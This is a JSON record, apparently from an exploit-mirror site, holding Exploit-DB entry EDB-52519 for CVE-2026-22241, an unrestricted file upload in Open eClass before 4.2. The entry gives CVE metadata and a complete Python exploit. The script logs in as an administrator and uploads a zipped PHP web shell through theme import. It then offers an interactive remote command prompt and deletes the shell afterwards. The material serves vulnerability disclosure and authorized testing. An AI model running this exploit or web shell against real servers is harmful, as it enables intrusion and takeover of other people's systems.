{"exploit":{"id":"EDB-52519","name":"GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)","description":"GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)","cves":["CVE-2026-22241"],"author":"unico007x","published":"2026-04-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52519","path":"exploits/multiple/webapps/52519.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52519.py","vulnerabilities":[{"id":"CVE-2026-22241","state":"PUBLISHED","title":"Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)","titleSource":"CVE Program","description":"The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, an arbitrary file upload vulnerability in the theme import functionality enables an attacker with administrative privileges to upload arbitrary files on the server's file system. The main cause of the issue is that no validation or sanitization of the file's present inside the zip archive. This leads to remote code execution on the web server. Version 4.2 patches the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22241","cvss":{"version":"4.0","baseScore":7.3,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22241"},"updatedAt":"2026-01-23T18:18:44.253Z","retrievedAt":"2026-11-25T16:31:14.719Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52519.png?v=2","url":"https://exploitbin.com/exploits/EDB-52519","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52519/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52519/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)\n# Date: 2026-01-08\n# Exploit Author: Ashif Iqubal\n# Vendor Homepage: https://www.openeclass.org/\n# Software Link: https://download.openeclass.org/files/4.1/\n# Version: < 4.2\n# Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)\n# CVE: CVE-2026-22241\n\nimport os\nimport sys\nimport zipfile\nimport requests\nimport argparse\nfrom bs4 import BeautifulSoup\nfrom argparse import RawTextHelpFormatter\n\nRED = '\\033[91m'\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRESET = '\\033[0m'\nORANGE = '\\033[38;5;208m'\n\nMALICIOUS_PAYLOAD = \"\"\"\\\n<?php\n\nif(isset($_REQUEST['cmd'])){\n        $cmd = ($_REQUEST['cmd']);\n        system($cmd);\n        die;\n}\n\n?>\n\"\"\"\n\ndef banner():\n    print(f'''{YELLOW}\n    ┏━╸╻ ╻┏━╸   ┏━┓┏━┓┏━┓┏━┓   ┏━┓┏━┓┏━┓╻ ╻╺┓\n    ┃  ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃\n    ┗━╸┗┛ ┗━╸   ┗━╸┗━┛┗━╸┗━┛   ┗━╸┗━╸┗━╸  ╹╺┻╸\n    {RED}                        Author: @Ashif1337 {RESET}''')\n\ndef clean_server(openeclass,filename):\n    print(f\"{ORANGE}[+] Removing Backd00r...{RESET}\")\n    # Remove the uploaded files\n    requests.get(f\"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}\")\n    print(f\"{GREEN}[+] Server cleaned successfully!{RESET}\")\n\n\ndef execute_command(openeclass, filename):\n    while True:\n        # Prompt for user input with \"eclass\"\n        cmd = input(f\"{RED}[{YELLOW}eClass{RED}]~> {RESET}\")\n\n        # Check if the command is 'quit', then break the loop\n        if cmd.lower() == \"quit\":\n            clean_server(openeclass,filename)\n            print(f\"{ORANGE}[+] Exiting...{RESET}\")\n            sys.exit()\n\n        # Construct the URL with the user-provided command\n        url = f\"{openeclass}/courses/theme_data/{filename}?cmd={cmd}\"\n\n        # Execute the GET request\n        try:\n            response = requests.get(url)\n\n            # Check if the request was successful\n            if response.status_code == 200:\n                # Print the response text\n                print(f\"{GREEN}{response.text}{RESET}\")\n\n        except requests.exceptions.RequestException as e:\n            # Print any error that occurs during the request\n            print(f\"{RED}An error occurred: {e}{RESET}\")\n\n\ndef upload_web_shell(openeclass, username, password):\n    login_url = f'{openeclass}/?login_page=1'\n    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'\n\n    # Login credentials\n    payload = {\n        'next': '/main/portfolio.php',\n        'uname': f'{username}',\n        'pass': f'{password}',\n        'submit': 'Enter'\n    }\n\n    headers = {\n        'Referer': login_page_url,\n    }\n\n    # Use a session to ensure cookies are handled correctly\n    with requests.Session() as session:\n        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens\n        session.get(login_page_url)\n\n        # Post the login credentials\n        response = session.post(login_url, headers=headers, data=payload)\n\n\n        # Create a zip file containing the malicious payload\n        zip_file_path = 'poc.zip'\n        with zipfile.ZipFile(zip_file_path, 'w') as zipf:\n            zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())\n\n        # Get token\n        token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)\n\n        if token_url.status_code != 200 :\n            print(f\"{RED}[X] Invalid Administrator Password!{RESET}\")\n            print(f\"{RED}[X] Exiting...{RESET}\")\n            return False\n\n        upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name=\"token\"]')['value']\n\n        # Upload the zip file\n        url = f'{openeclass}/modules/admin/theme_options.php'\n        files = {\n            'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),\n            'import': (None, ''),\n            'token': (None, upload_token)\n        }\n        response = session.post(url, files=files)\n\n        # Clean up the poc zip file\n        os.remove(zip_file_path)\n\n        # Check if the upload was successful\n        if response.status_code == 200:\n            print(f\"{GREEN}[+] Payload uploaded successfully!{RESET}\")\n            print(f\"{GREEN}[+] Type 'quit' to exit web shell!{RESET}\")\n            return True\n        else:\n            print(f\"{RED}[X] Failed to upload payload.{RESET}\")\n            print(f\"{RED}[X] Exiting...{RESET}\")\n            return False\n\n\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword\",formatter_class=RawTextHelpFormatter)\n    parser.add_argument('-t', '--eclassUrl', required=True, help=\"Target URL of the Open eClass.\")\n    parser.add_argument('-u', '--username', required=True, help=\"Admin Username for login.\")\n    parser.add_argument('-p', '--password', required=True, help=\"Admin Password for login.\")\n    args = parser.parse_args()\n\n    banner()\n    # Running the main login and execute command function\n    if upload_web_shell(args.eclassUrl, args.username, args.password):\n        execute_command(args.eclassUrl, 'evil.php')\n\nif __name__ == \"__main__\":\n    main()","sha256":"d9cbd1207363bebf72e9c9eb46b0986c1234f2672ed87d8fa82d0243235de667","bytes":5495,"fetchedAt":"2026-11-26T11:17:56.254Z","encoding":"utf-8 (display only; download retains original bytes)"}